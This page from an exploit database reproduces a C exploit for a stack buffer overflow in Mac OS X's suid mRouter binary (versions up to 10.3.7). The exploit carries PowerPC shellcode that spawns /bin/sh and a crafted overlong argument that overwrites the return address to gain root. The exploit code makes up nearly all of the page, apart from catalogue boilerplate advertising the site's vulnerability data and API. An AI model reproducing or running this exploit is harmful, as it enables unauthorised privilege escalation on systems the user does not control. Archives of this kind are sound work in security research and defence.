Lucene search
K

Mac OS X <= 10.3.7 mRouter Local Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Mac OS X mRouter Local Privilege Escalation Exploit <= 10.3.

Code

                                                /*
  * fm-iSink.c
  * overflow in mRouter, suid binary used by iSync, on OSX &#60;= 10.3.7
  *
  * written by -( nemo @ felinemenace.org )-
  *
  *                    _,&#39;|             _.-&#39;&#39;``-...___..--&#39;;)
  *                    /_ \&#39;.      __..-&#39; ,      ,--...--&#39;&#39;&#39;
  *                   &#60;\    .`--&#39;&#39;&#39;       `     /&#39;
  *                   `-&#39;;&#39;               ;   ; ;
  *              __...--&#39;&#39;     ___...--_..&#39;  .;.&#39;
  *          fL (,__....----&#39;&#39;&#39;       (,..--&#39;&#39;
  *
  * http://pulltheplug.org and http://felinemenace.org.
  *
  * Bug discovered by Braden Thomas. Exploit by nemo.
  *
  * -( need a challenge...? )-
  * -( http://www.pulltheplug.org )-
  */

#include &#60;sys/types.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;

#define VULNPROG 
&#34;/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
mRouter&#34;
#define MAXBUFSIZE 4096

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
&#34;\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4&#34;
&#34;\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02&#34;
&#34;\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60&#34;
&#34;\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8&#34;
&#34;\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78&#34;
&#34;\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e&#34;
&#34;\x2f\x73\x68&#34;;

char filler[MAXBUFSIZE];

int main(int ac, char **av)
{
unsigned int ret  = 0xbffffffa -  strlen(shellcode);
         char *args[] = { VULNPROG, &#34;-v&#34;, &#34;-a&#34;, filler, NULL };
char *env[]  = { &#34;TERM=xterm&#34;, shellcode, NULL };

         memset(filler,(char)&#39;A&#39;,sizeof(filler));
         memcpy(filler+MAXBUFSIZE-5,&ret,4);

execve(*args, args,env);

         return 0;
}

// milw0rm.com [2005-01-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation